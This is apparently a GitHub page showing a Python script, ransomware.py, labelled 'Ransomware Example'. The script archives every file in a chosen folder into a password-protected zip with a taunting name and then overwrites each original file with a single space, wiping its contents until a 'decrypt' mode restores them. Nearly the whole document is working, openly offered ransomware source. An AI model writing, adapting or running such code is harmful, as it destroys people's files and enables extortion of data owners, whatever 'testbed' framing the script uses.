-
Notifications
You must be signed in to change notification settings - Fork 0
/
ransomware.py
81 lines (63 loc) · 2.01 KB
/
ransomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import argparse
import os
import pyminizip
import shutil
def archive_and_encrypt(testbed_folder):
try:
filesToArchive = []
for root, dirs, files in os.walk(testbed_folder):
for file in files:
if file != encrypt_holder_file:
filesToArchive.append(root + "\\" + file)
print(f"Files to archive: {filesToArchive}")
pyminizip.compress_multiple(
filesToArchive,
[],
encrypt_holder_file,
"parola",
1,
)
print(f"Archive created successfully: {encrypt_holder_file}")
for root, dirs, files in os.walk(testbed_folder):
for file in files:
if file != encrypt_holder_file:
file = root + "\\" + file
with open(file, "w") as f:
f.write(" ")
except Exception as e:
print(f"Error: {e}")
def dearchive(testbed_folder):
old_cwd = os.getcwd()
pyminizip.uncompress(encrypt_holder_file, "parola", testbed_folder, 0)
os.remove(old_cwd + "\\" + encrypt_holder_file)
encryption_key = "BeammersClubFuckedYou" # Replace this with your encryption key
encrypt_holder_file = "BeammersClubFuckedYou.zip"
def main():
parser = argparse.ArgumentParser(description="Ransomware Example")
parser.add_argument(
"--mode",
choices=["encrypt", "decrypt"],
required=True,
help="Encryption or decryption mode",
)
parser.add_argument(
"--testbed",
required=True,
nargs="?",
help="Folder to be attacked and encrypted/decrypted",
)
parser.add_argument(
"--buffer_file",
required=True,
nargs="?",
help="File for storing ransomware metadata",
)
args = parser.parse_args()
mode = args.mode
testbed = args.testbed
if mode == "encrypt":
archive_and_encrypt(testbed)
elif mode == "decrypt":
dearchive(testbed)
if __name__ == "__main__":
main()